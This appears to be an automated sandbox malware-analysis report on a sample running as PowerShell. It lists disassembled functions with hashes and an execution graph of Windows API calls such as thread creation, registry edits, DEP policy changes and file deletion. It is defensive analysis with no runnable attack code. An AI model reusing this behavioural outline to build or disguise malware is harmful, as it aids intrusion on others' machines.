                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_350000_powershell.jbxd
                              Similarity
                              • API ID: ResumeThread
                              • String ID:
                              • API String ID: 947044025-0
                              • Opcode ID: 6aa00d8a6bdbbdda52feef43e0d65a73e7594712c74c82fce3cd3ee0a79f7a6b
                              • Instruction ID: 50bc1b61b5f1797960cec681fbd446e242379d37e1c3dba4bb186abee0396ebc
                              • Opcode Fuzzy Hash: 6aa00d8a6bdbbdda52feef43e0d65a73e7594712c74c82fce3cd3ee0a79f7a6b
                              • Instruction Fuzzy Hash: CD31DAB4D002089FCF10CFA9D980AEEFBB5AF49314F10842AE814B7310C734A906CF94
                              Function 00693DD4 Relevance: 1.3, Strings: 1, Instructions: 74COMMON
                              Download Yara Rule

                              Control-flow Graph

                              • Executed
                              • Not Executed
                              control_flow_graph 753 693dd4-693e0b 754 693e11-693e16 753->754 755 693f62-693fa6 753->755 756 693e18-693e1e 754->756 757 693e2e-693e32 754->757 779 693fa8-693faa 755->779 780 693fb4-693fcc 755->780 761 693e20 756->761 762 693e22-693e2c 756->762 758 693e38-693e3a 757->758 759 693f0f-693f19 757->759 763 693e4a 758->763 764 693e3c-693e48 758->764 765 693f1b-693f24 759->765 766 693f27-693f2d 759->766 761->757 762->757 768 693e4c-693e4e 763->768 764->768 770 693f2f-693f31 766->770 771 693f33-693f3f 766->771 768->759 772 693e54-693e58 768->772 773 693f41-693f5f 770->773 771->773 775 693e78 772->775 776 693e5a-693e76 772->776 781 693e7a-693e7c 775->781 776->781 779->780 787 693fce 780->787 788 693fd0-693fd2 780->788 781->759 782 693e82-693e95 781->782 791 693e9b-693e9d 782->791 790 693fdc-693fdd 787->790 788->790 792 693e9f-693ea5 791->792 793 693eb5-693f0c 791->793 794 693ea9-693eab 792->794 795 693ea7 792->795 794->793 795->793
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p
                              • API String ID: 0-481844870
                              • Opcode ID: 3d84485c8083caf52f454fed41145077bdfd4cb7a476344ee931f8410d89675a
                              • Instruction ID: 793a18f83f60b224ecffe9ca59ff80455c287bb7e870246e6a4a3d9e391f77f7
                              • Opcode Fuzzy Hash: 3d84485c8083caf52f454fed41145077bdfd4cb7a476344ee931f8410d89675a
                              • Instruction Fuzzy Hash: 3C219F35A003259FCF55DE29D4417AABBFAAF84311F2880A7E408CB761D774CE86C7A1
                              Function 00691189 Relevance: .1, Instructions: 53COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: b78bec99cb30a5c464c724aa26ce715b213bf0315b98c3cef1695cfb3e623dd5
                              • Instruction ID: ffb60662cfaadcc10b2c2ec137b0ad5d24b2e6d6e46b9449e0b4862703fc50e1
                              • Opcode Fuzzy Hash: b78bec99cb30a5c464c724aa26ce715b213bf0315b98c3cef1695cfb3e623dd5
                              • Instruction Fuzzy Hash: 3311E12430D3846FC76667748825B6A7EB68F87700F5980AAE581DF2D3C8B59C498362
                              Function 0025D01D Relevance: .0, Instructions: 45COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000A.00000002.505667509.000000000025D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0025D000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_25d000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 1db3b8ff5857b1a1261d1f6a37ecff15c258b841b55fab1c96920714831299fe
                              • Instruction ID: 85c5ade2a33f98e1f0bd670fa20ab419c0b4066b2c8c4385c79eeb6ddfe3cd66
                              • Opcode Fuzzy Hash: 1db3b8ff5857b1a1261d1f6a37ecff15c258b841b55fab1c96920714831299fe
                              • Instruction Fuzzy Hash: E001A771514340AAE7304E15C884B76BFD8DF41765F18C45AEC454B2C6C6B9DC4DC6B5
                              Function 0025D006 Relevance: .0, Instructions: 43COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000A.00000002.505667509.000000000025D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0025D000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_25d000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 70255149c3ccde1072daba45f615ea11c26ef7f5d18e87f59e9bf4b62d9f3be0
                              • Instruction ID: a1f1c5cbdf7be248b1cb00cc7f00a7f24333807a8915a4fdfb642a900b2e9cb1
                              • Opcode Fuzzy Hash: 70255149c3ccde1072daba45f615ea11c26ef7f5d18e87f59e9bf4b62d9f3be0
                              • Instruction Fuzzy Hash: 85014C6240D3C09FD7228A258C94B62BFA4DF52225F1980DBD8888F2E7C2699848C772
                              Function 006911B0 Relevance: .0, Instructions: 41COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 05b37965d31bcf28251c52b9b9dc41dc506aba3622c2058b9b233b234827ca3c
                              • Instruction ID: 876b182b12290d321a6a9f153df8fa08571503db8282bcf338f81e751c8a4c15
                              • Opcode Fuzzy Hash: 05b37965d31bcf28251c52b9b9dc41dc506aba3622c2058b9b233b234827ca3c
                              • Instruction Fuzzy Hash: 70F0AF7474030867DA6426698815F6F69ABDFC9B00F64802CF946DF3C5CDB29D8683A6

                              Non-executed Functions

                              Function 003555C8 Relevance: 1.0, Instructions: 1028COMMON
                              Download Yara Rule
                              Memory Dump Source
                              • Source File: 0000000A.00000002.505955561.0000000000350000.00000040.00000800.00020000.00000000.sdmp, Offset: 00350000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_350000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID:
                              • API String ID:
                              • Opcode ID: 49a64d95f2336bbb3b9e1f7ec56677e204ccfe23a8190d44f95ea16c2126dea8
                              • Instruction ID: fc40fec646986cb95ce8ebffba003e49c6704e54f958d6268ebb573503ce178b
                              • Opcode Fuzzy Hash: 49a64d95f2336bbb3b9e1f7ec56677e204ccfe23a8190d44f95ea16c2126dea8
                              • Instruction Fuzzy Hash: 4492D2719097859FDB06CF68C4A4A9DBFB1FF16321F1A809AD840DB263C734AD4ACB51
                              Function 00691420 Relevance: 22.9, Strings: 18, Instructions: 386COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$4:<$4:<$8#f$8#f$8#f$8#f$8#f$8#f$h%f$h%f$$p$$p$$p$$p$9<$9<
                              • API String ID: 0-1868306398
                              • Opcode ID: d11dbd75112dd10ac3e528f14e5653cd609fbf465f7aa0d0dadf2c9956a7d433
                              • Instruction ID: 4fbc8bc62534ba5bcc1e92a4adbd9d13f5ea3be6994f405257dffc8bbda99e6e
                              • Opcode Fuzzy Hash: d11dbd75112dd10ac3e528f14e5653cd609fbf465f7aa0d0dadf2c9956a7d433
                              • Instruction Fuzzy Hash: B0C1D135B002028FDF149B69D850AAAFBEBAFC6310B39C4AAD945CF751DA31DD42C791
                              Function 006900A0 Relevance: 17.9, Strings: 14, Instructions: 421COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$L4p$L4p$L4p$L4p$L4p$L4p$\9<$`8<$`8<$`8<$$p$$p
                              • API String ID: 0-3603964631
                              • Opcode ID: 33dca1ff6969b2f821474d24cd1a222fc3c6324d03a32567441d5d57fe9f8434
                              • Instruction ID: 2ce1c98c7de847abefcb9e2f93a4da6e6ffa7e4d86759428dbde3d752e245ca4
                              • Opcode Fuzzy Hash: 33dca1ff6969b2f821474d24cd1a222fc3c6324d03a32567441d5d57fe9f8434
                              • Instruction Fuzzy Hash: 1CE10635700204DFEF198E68D854BAE7BFBAF84310F58806AE9458B791CB71DD81CB91
                              Function 00694020 Relevance: 10.2, Strings: 8, Instructions: 200COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$$p$$p$$p$$p$$p$$p
                              • API String ID: 0-2834719986
                              • Opcode ID: 3ed76ac923aa71350c9717f72efc4eadff08e08cf38cb2d3ab77b6e46ebdb0e7
                              • Instruction ID: 49550d766ef2a50444d0883a34ccc00b5f60fb1b1d7ba09a3300f5d64e7bd63e
                              • Opcode Fuzzy Hash: 3ed76ac923aa71350c9717f72efc4eadff08e08cf38cb2d3ab77b6e46ebdb0e7
                              • Instruction Fuzzy Hash: 2051F1357042018FCB299B699810ABABBBBAFD5311F28807BD555CB751DE32CD83C3A1
                              Function 00690968 Relevance: 8.9, Strings: 7, Instructions: 194COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 0;<$8#f$8#f$tPp$tPp$[f$[f
                              • API String ID: 0-1366123199
                              • Opcode ID: e6306aea291d619b0a5efef84f1779cd6109f6e3bf3635f06fac6e7d9b2fbb88
                              • Instruction ID: 375f59f3efb5599eb8ab704e8e130c4dfa7fe3c2aaac0b1fcb860cb1c96b6b97
                              • Opcode Fuzzy Hash: e6306aea291d619b0a5efef84f1779cd6109f6e3bf3635f06fac6e7d9b2fbb88
                              • Instruction Fuzzy Hash: 3B511C317043109FEF248A6DD841BBABBABAFC1310F34C42AE5458B795CA72DC42C791
                              Function 00691B58 Relevance: 7.6, Strings: 6, Instructions: 125COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: $p$$p$$p$$p$$p$$p
                              • API String ID: 0-3402276426
                              • Opcode ID: 11f5dfdfefe7d03c6b03793ab408c1216a0789a5da57320642762a9dea5f3852
                              • Instruction ID: a2f9f2ae360c1ae552da3cb33efbe88b661cd60d52fe0247e522be7e8b79c706
                              • Opcode Fuzzy Hash: 11f5dfdfefe7d03c6b03793ab408c1216a0789a5da57320642762a9dea5f3852
                              • Instruction Fuzzy Hash: A841E335B40202CFDF249A6998516BABBEBAFC6310F34842AD9558F705EA35CD42C791
                              Function 00691EC8 Relevance: 6.4, Strings: 5, Instructions: 187COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: h%f$h%f$$p$$p$$p
                              • API String ID: 0-930881452
                              • Opcode ID: a8ca328e2a48941c05a6f221598b619e04a733e0aa8781c6071391df3486f08c
                              • Instruction ID: aa109d00a25b52e7aa2f8a1c9d0f0126b57bc986bc124d97b316f11419f86cfe
                              • Opcode Fuzzy Hash: a8ca328e2a48941c05a6f221598b619e04a733e0aa8781c6071391df3486f08c
                              • Instruction Fuzzy Hash: 2A5135357002069FCF249A699851BBAFBEBAFC2310F38846AD849DB750DB71DC41C761
                              Function 00690F50 Relevance: 6.4, Strings: 5, Instructions: 170COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 89<$h%f$h%f$tPp$tPp
                              • API String ID: 0-577349419
                              • Opcode ID: 57dc0af875f6b6d3159460b9f8be72260331de5508987428397577662cbebc0d
                              • Instruction ID: c44a7283de272c5727bb59a77f596da1beba00bee034299b6bf8dd3c00ea75f7
                              • Opcode Fuzzy Hash: 57dc0af875f6b6d3159460b9f8be72260331de5508987428397577662cbebc0d
                              • Instruction Fuzzy Hash: 73510B31B043918FDB258A69945067AFFBBAF86310B68807BD945CF745CE72CC46C761
                              Function 006949A8 Relevance: 6.4, Strings: 5, Instructions: 138COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$$p$$p$$p
                              • API String ID: 0-2334450948
                              • Opcode ID: 868211650e00a7a2f27923bae531d40e775c087c659c7378e673c142036f5ec6
                              • Instruction ID: c7a1d07aad8431e61efd0416ece58eca5ab290798d1bfca4a26f2f1b27cdb801
                              • Opcode Fuzzy Hash: 868211650e00a7a2f27923bae531d40e775c087c659c7378e673c142036f5ec6
                              • Instruction Fuzzy Hash: 00414436644201CFCF294A689901AABFBEBAFC1311B7880ABD8518B75ADF75CD03C755
                              Function 006918D0 Relevance: 5.1, Strings: 4, Instructions: 97COMMON
                              Download Yara Rule
                              Strings
                              Memory Dump Source
                              • Source File: 0000000A.00000002.506257227.0000000000690000.00000040.00000800.00020000.00000000.sdmp, Offset: 00690000, based on PE: false
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_10_2_690000_powershell.jbxd
                              Similarity
                              • API ID:
                              • String ID: 4'p$4'p$X:<$X:<
                              • API String ID: 0-1260672331
                              • Opcode ID: 2ef96ecd62fa65a3733808a78706349a49f53291a944557199fc6f5c30e2cc11
                              • Instruction ID: dd7d9eff9357a4c23e89038ba8fb57152dc921492daf496ecc41fdf6b70e6f68
                              • Opcode Fuzzy Hash: 2ef96ecd62fa65a3733808a78706349a49f53291a944557199fc6f5c30e2cc11
                              • Instruction Fuzzy Hash: 7221D7317003025BDF185A6C8561B7EBA9BAFC6311F748029E949DF790DE71CC42C791

                              Execution Graph

                              Execution Coverage:4.6%
                              Dynamic/Decrypted Code Coverage:0%
                              Signature Coverage:4.6%
                              Total number of Nodes:1514
                              Total number of Limit Nodes:53
                              execution_graph 47034 445847 47035 445852 47034->47035 47037 44587b 47035->47037 47038 445877 47035->47038 47040 448a84 47035->47040 47047 44589f DeleteCriticalSection 47037->47047 47048 4484ca 47040->47048 47043 448ac9 InitializeCriticalSectionAndSpinCount 47046 448ab4 47043->47046 47045 448ae0 47045->47035 47055 434fcb 47046->47055 47047->47038 47049 4484f6 47048->47049 47050 4484fa 47048->47050 47049->47050 47054 44851a 47049->47054 47062 448566 47049->47062 47050->47043 47050->47046 47052 448526 GetProcAddress 47053 448536 __crt_fast_encode_pointer 47052->47053 47053->47050 47054->47050 47054->47052 47056 434fd6 IsProcessorFeaturePresent 47055->47056 47057 434fd4 47055->47057 47059 435018 47056->47059 47057->47045 47069 434fdc SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 47059->47069 47061 4350fb 47061->47045 47063 448587 LoadLibraryExW 47062->47063 47068 44857c 47062->47068 47064 4485a4 GetLastError 47063->47064 47065 4485bc 47063->47065 47064->47065 47066 4485af LoadLibraryExW 47064->47066 47067 4485d3 FreeLibrary 47065->47067 47065->47068 47066->47065 47067->47068 47068->47049 47069->47061 47070 434887 47071 434893 ___BuildCatchObject 47070->47071 47097 434596 47071->47097 47073 43489a 47075 4348c3 47073->47075 47403 4349f9 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_get_show_window_mode 47073->47403 47082 434902 ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 47075->47082 47108 444251 47075->47108 47079 4348e2 ___BuildCatchObject 47080 434962 47116 434b14 47080->47116 47082->47080 47404 4433e7 36 API calls 5 library calls 47082->47404 47090 434984 47091 43498e 47090->47091 47406 44341f 28 API calls _abort 47090->47406 47093 434997 47091->47093 47407 4433c2 28 API calls _abort 47091->47407 47408 43470d 13 API calls 2 library calls 47093->47408 47096 43499f 47096->47079 47098 43459f 47097->47098 47409 434c52 IsProcessorFeaturePresent 47098->47409 47100 4345ab 47410 438f31 47100->47410 47102 4345b0 47107 4345b4 47102->47107 47419 4440bf 47102->47419 47105 4345cb 47105->47073 47107->47073 47109 444268 47108->47109 47110 434fcb __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 47109->47110 47111 4348dc 47110->47111 47111->47079 47112 4441f5 47111->47112 47113 444224 47112->47113 47114 434fcb __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 47113->47114 47115 44424d 47114->47115 47115->47082 47469 436e90 47116->47469 47119 434968 47120 4441a2 47119->47120 47471 44f059 47120->47471 47122 4441ab 47123 434971 47122->47123 47475 446815 36 API calls 47122->47475 47125 40e9c5 47123->47125 47646 41cb50 LoadLibraryA GetProcAddress 47125->47646 47127 40e9e1 GetModuleFileNameW 47651 40f3c3 47127->47651 47129 40e9fd 47666 4020f6 47129->47666 47132 4020f6 28 API calls 47133 40ea1b 47132->47133 47672 41be1b 47133->47672 47137 40ea2d 47698 401e8d 47137->47698 47139 40ea36 47140 40ea93 47139->47140 47141 40ea49 47139->47141 47704 401e65 47140->47704 47973 40fbb3 93 API calls 47141->47973 47144 40eaa3 47148 401e65 22 API calls 47144->47148 47145 40ea5b 47146 401e65 22 API calls 47145->47146 47147 40ea67 47146->47147 47974 410f37 36 API calls __EH_prolog 47147->47974 47149 40eac2 47148->47149 47709 40531e 47149->47709 47152 40ead1 47714 406383 47152->47714 47153 40ea79 47975 40fb64 78 API calls 47153->47975 47157 40ea82 47976 40f3b0 71 API calls 47157->47976 47163 401fd8 11 API calls 47165 40eefb 47163->47165 47164 401fd8 11 API calls 47166 40eafb 47164->47166 47405 4432f6 GetModuleHandleW 47165->47405 47167 401e65 22 API calls 47166->47167 47168 40eb04 47167->47168 47731 401fc0 47168->47731 47170 40eb0f 47171 401e65 22 API calls 47170->47171 47172 40eb28 47171->47172 47173 401e65 22 API calls 47172->47173 47174 40eb43 47173->47174 47175 40ebae 47174->47175 47977 406c1e 47174->47977 47176 401e65 22 API calls 47175->47176 47182 40ebbb 47176->47182 47178 40eb70 47179 401fe2 28 API calls 47178->47179 47180 40eb7c 47179->47180 47183 401fd8 11 API calls 47180->47183 47181 40ec02 47735 40d069 47181->47735 47182->47181 47188 413549 3 API calls 47182->47188 47185 40eb85 47183->47185 47982 413549 RegOpenKeyExA 47185->47982 47186 40ec08 47187 40ea8b 47186->47187 47738 41b2c3 47186->47738 47187->47163 47194 40ebe6 47188->47194 47192 40f34f 48065 4139a9 30 API calls 47192->48065 47193 40ec23 47196 40ec76 47193->47196 47755 407716 47193->47755 47194->47181 47985 4139a9 30 API calls 47194->47985 47197 401e65 22 API calls 47196->47197 47200 40ec7f 47197->47200 47209 40ec90 47200->47209 47210 40ec8b 47200->47210 47202 40f365 48066 412475 65 API calls ___scrt_get_show_window_mode 47202->48066 47203 40ec42 47986 407738 30 API calls 47203->47986 47204 40ec4c 47207 401e65 22 API calls 47204->47207 47219 40ec55 47207->47219 47208 40f36f 47212 41bc5e 28 API calls 47208->47212 47215 401e65 22 API calls 47209->47215 47989 407755 CreateProcessA CloseHandle CloseHandle ___scrt_get_show_window_mode 47210->47989 47211 40ec47 47987 407260 98 API calls 47211->47987 47216 40f37f 47212->47216 47217 40ec99 47215->47217 47865 413a23 RegOpenKeyExW 47216->47865 47759 41bc5e 47217->47759 47219->47196 47224 40ec71 47219->47224 47220 40eca4 47763 401f13 47220->47763 47988 407260 98 API calls 47224->47988 47226 401f09 11 API calls 47228 40f39c 47226->47228 47231 401f09 11 API calls 47228->47231 47233 40f3a5 47231->47233 47232 401e65 22 API calls 47234 40ecc1 47232->47234 47868 40dd42 47233->47868 47238 401e65 22 API calls 47234->47238 47240 40ecdb 47238->47240 47239 40f3af 47241 401e65 22 API calls 47240->47241 47242 40ecf5 47241->47242 47243 401e65 22 API calls 47242->47243 47245 40ed0e 47243->47245 47244 40ed7b 47247 40ed8a 47244->47247 47252 40ef06 ___scrt_get_show_window_mode 47244->47252 47245->47244 47246 401e65 22 API calls 47245->47246 47251 40ed23 _wcslen 47246->47251 47248 40ed93 47247->47248 47276 40ee0f ___scrt_get_show_window_mode 47247->47276 47249 401e65 22 API calls 47248->47249 47250 40ed9c 47249->47250 47253 401e65 22 API calls 47250->47253 47251->47244 47254 401e65 22 API calls 47251->47254 48050 4136f8 RegOpenKeyExA 47252->48050 47255 40edae 47253->47255 47256 40ed3e 47254->47256 47258 401e65 22 API calls 47255->47258 47260 401e65 22 API calls 47256->47260 47259 40edc0 47258->47259 47263 401e65 22 API calls 47259->47263 47261 40ed53 47260->47261 47990 40da34 47261->47990 47262 40ef51 47264 401e65 22 API calls 47262->47264 47266 40ede9 47263->47266 47267 40ef76 47264->47267 47271 401e65 22 API calls 47266->47271 47785 402093 47267->47785 47269 401f13 28 API calls 47270 40ed72 47269->47270 47273 401f09 11 API calls 47270->47273 47274 40edfa 47271->47274 47273->47244 48048 40cdf9 45 API calls _wcslen 47274->48048 47275 40ef88 47791 41376f RegCreateKeyA 47275->47791 47775 413947 47276->47775 47281 40eea3 ctype 47285 401e65 22 API calls 47281->47285 47282 40ee0a 47282->47276 47283 401e65 22 API calls 47284 40efaa 47283->47284 47797 43baac 47284->47797 47288 40eeba 47285->47288 47288->47262 47289 40eece 47288->47289 47291 401e65 22 API calls 47289->47291 47290 40efc1 48053 41cd9b 87 API calls ___scrt_get_show_window_mode 47290->48053 47293 40eed7 47291->47293 47292 40efe4 47295 402093 28 API calls 47292->47295 47296 41bc5e 28 API calls 47293->47296 47298 40eff9 47295->47298 47299 40eee3 47296->47299 47297 40efc8 CreateThread 47297->47292 48853 41d45d 10 API calls 47297->48853 47300 402093 28 API calls 47298->47300 48049 40f474 104 API calls 47299->48049 47302 40f008 47300->47302 47801 41b4ef 47302->47801 47303 40eee8 47303->47262 47305 40eeef 47303->47305 47305->47187 47307 401e65 22 API calls 47308 40f019 47307->47308 47309 401e65 22 API calls 47308->47309 47310 40f02b 47309->47310 47311 401e65 22 API calls 47310->47311 47312 40f04b 47311->47312 47313 43baac _strftime 40 API calls 47312->47313 47314 40f058 47313->47314 47315 401e65 22 API calls 47314->47315 47316 40f063 47315->47316 47317 401e65 22 API calls 47316->47317 47318 40f074 47317->47318 47319 401e65 22 API calls 47318->47319 47320 40f089 47319->47320 47321 401e65 22 API calls 47320->47321 47322 40f09a 47321->47322 47323 40f0a1 StrToIntA 47322->47323 47825 409de4 47323->47825 47326 401e65 22 API calls 47327 40f0bc 47326->47327 47328 40f101 47327->47328 47329 40f0c8 47327->47329 47331 401e65 22 API calls 47328->47331 48054 4344ea 47329->48054 47333 40f111 47331->47333 47337 40f159 47333->47337 47338 40f11d 47333->47338 47334 401e65 22 API calls 47335 40f0e4 47334->47335 47336 40f0eb CreateThread 47335->47336 47336->47328 48856 419fb4 103 API calls 2 library calls 47336->48856 47339 401e65 22 API calls 47337->47339 47340 4344ea new 22 API calls 47338->47340 47341 40f162 47339->47341 47342 40f126 47340->47342 47345 40f1cc 47341->47345 47346 40f16e 47341->47346 47343 401e65 22 API calls 47342->47343 47344 40f138 47343->47344 47349 40f13f CreateThread 47344->47349 47347 401e65 22 API calls 47345->47347 47348 401e65 22 API calls 47346->47348 47350 40f1d5 47347->47350 47351 40f17e 47348->47351 47349->47337 48855 419fb4 103 API calls 2 library calls 47349->48855 47352 40f1e1 47350->47352 47353 40f21a 47350->47353 47354 401e65 22 API calls 47351->47354 47356 401e65 22 API calls 47352->47356 47850 41b60d 47353->47850 47357 40f193 47354->47357 47359 40f1ea 47356->47359 48061 40d9e8 31 API calls 47357->48061 47364 401e65 22 API calls 47359->47364 47360 401f13 28 API calls 47361 40f22e 47360->47361 47363 401f09 11 API calls 47361->47363 47367 40f237 47363->47367 47368 40f1ff 47364->47368 47365 40f1a6 47366 401f13 28 API calls 47365->47366 47369 40f1b2 47366->47369 47370 40f240 SetProcessDEPPolicy 47367->47370 47371 40f243 CreateThread 47367->47371 47377 43baac _strftime 40 API calls 47368->47377 47372 401f09 11 API calls 47369->47372 47370->47371 47373 40f264 47371->47373 47374 40f258 CreateThread 47371->47374 48825 40f7a7 47371->48825 47378 40f1bb CreateThread 47372->47378 47375 40f279 47373->47375 47376 40f26d CreateThread 47373->47376 47374->47373 48857 4120f7 138 API calls 47374->48857 47380 40f2cc 47375->47380 47382 402093 28 API calls 47375->47382 47376->47375 48852 4126db 38 API calls ___scrt_get_show_window_mode 47376->48852 47379 40f20c 47377->47379 47378->47345 48854 401be9 50 API calls _strftime 47378->48854 48062 40c162 7 API calls 47379->48062 47862 4134ff RegOpenKeyExA 47380->47862 47383 40f29c 47382->47383 48063 4052fd 28 API calls 47383->48063 47388 40f2ed 47390 41bc5e 28 API calls 47388->47390 47392 40f2fd 47390->47392 48064 41361b 31 API calls 47392->48064 47397 40f313 47398 401f09 11 API calls 47397->47398 47401 40f31e 47398->47401 47399 40f346 DeleteFileW 47400 40f34d 47399->47400 47399->47401 47400->47208 47401->47208 47401->47399 47402 40f334 Sleep 47401->47402 47402->47401 47403->47073 47404->47080 47405->47090 47406->47091 47407->47093 47408->47096 47409->47100 47411 438f36 ___vcrt_initialize_pure_virtual_call_handler ___vcrt_initialize_winapi_thunks 47410->47411 47423 43a43a 47411->47423 47415 438f4c 47416 438f57 47415->47416 47437 43a476 DeleteCriticalSection 47415->47437 47416->47102 47418 438f44 47418->47102 47465 44fb68 47419->47465 47422 438f5a 8 API calls 3 library calls 47422->47107 47424 43a443 47423->47424 47426 43a46c 47424->47426 47427 438f40 47424->47427 47438 438e7f 47424->47438 47443 43a476 DeleteCriticalSection 47426->47443 47427->47418 47429 43a3ec 47427->47429 47458 438d94 47429->47458 47431 43a3f6 47436 43a401 47431->47436 47463 438e42 6 API calls try_get_function 47431->47463 47433 43a40f 47434 43a41c 47433->47434 47464 43a41f 6 API calls ___vcrt_FlsFree 47433->47464 47434->47415 47436->47415 47437->47418 47444 438c73 47438->47444 47441 438eb6 InitializeCriticalSectionAndSpinCount 47442 438ea2 47441->47442 47442->47424 47443->47427 47445 438ca3 47444->47445 47446 438ca7 47444->47446 47445->47446 47449 438cc7 47445->47449 47451 438d13 47445->47451 47446->47441 47446->47442 47448 438cd3 GetProcAddress 47450 438ce3 __crt_fast_encode_pointer 47448->47450 47449->47446 47449->47448 47450->47446 47452 438d3b LoadLibraryExW 47451->47452 47457 438d30 47451->47457 47453 438d57 GetLastError 47452->47453 47454 438d6f 47452->47454 47453->47454 47455 438d62 LoadLibraryExW 47453->47455 47456 438d86 FreeLibrary 47454->47456 47454->47457 47455->47454 47456->47457 47457->47445 47459 438c73 try_get_function 5 API calls 47458->47459 47460 438dae 47459->47460 47461 438dc6 TlsAlloc 47460->47461 47462 438db7 47460->47462 47462->47431 47463->47433 47464->47436 47468 44fb81 47465->47468 47466 434fcb __ehhandler$??1UMSThreadProxy@details@Concurrency@@UAE@XZ 5 API calls 47467 4345bd 47466->47467 47467->47105 47467->47422 47468->47466 47470 434b27 GetStartupInfoW 47469->47470 47470->47119 47472 44f06b 47471->47472 47473 44f062 47471->47473 47472->47122 47476 44ef58 47473->47476 47475->47122 47496 448215 GetLastError 47476->47496 47478 44ef65 47517 44f077 47478->47517 47480 44ef6d 47526 44ecec 47480->47526 47483 44ef84 47483->47472 47489 44efc2 47550 4405dd 20 API calls _abort 47489->47550 47490 44efdf 47492 44f00b 47490->47492 47552 446782 20 API calls __dosmaperr 47490->47552 47495 44efc7 47492->47495 47553 44ebc2 20 API calls 47492->47553 47551 446782 20 API calls __dosmaperr 47495->47551 47497 448237 47496->47497 47498 44822b 47496->47498 47555 445af3 20 API calls 3 library calls 47497->47555 47554 4487bc 11 API calls 2 library calls 47498->47554 47501 448231 47501->47497 47503 448280 SetLastError 47501->47503 47502 448243 47504 44824b 47502->47504 47557 448812 11 API calls 2 library calls 47502->47557 47503->47478 47556 446782 20 API calls __dosmaperr 47504->47556 47507 448260 47507->47504 47509 448267 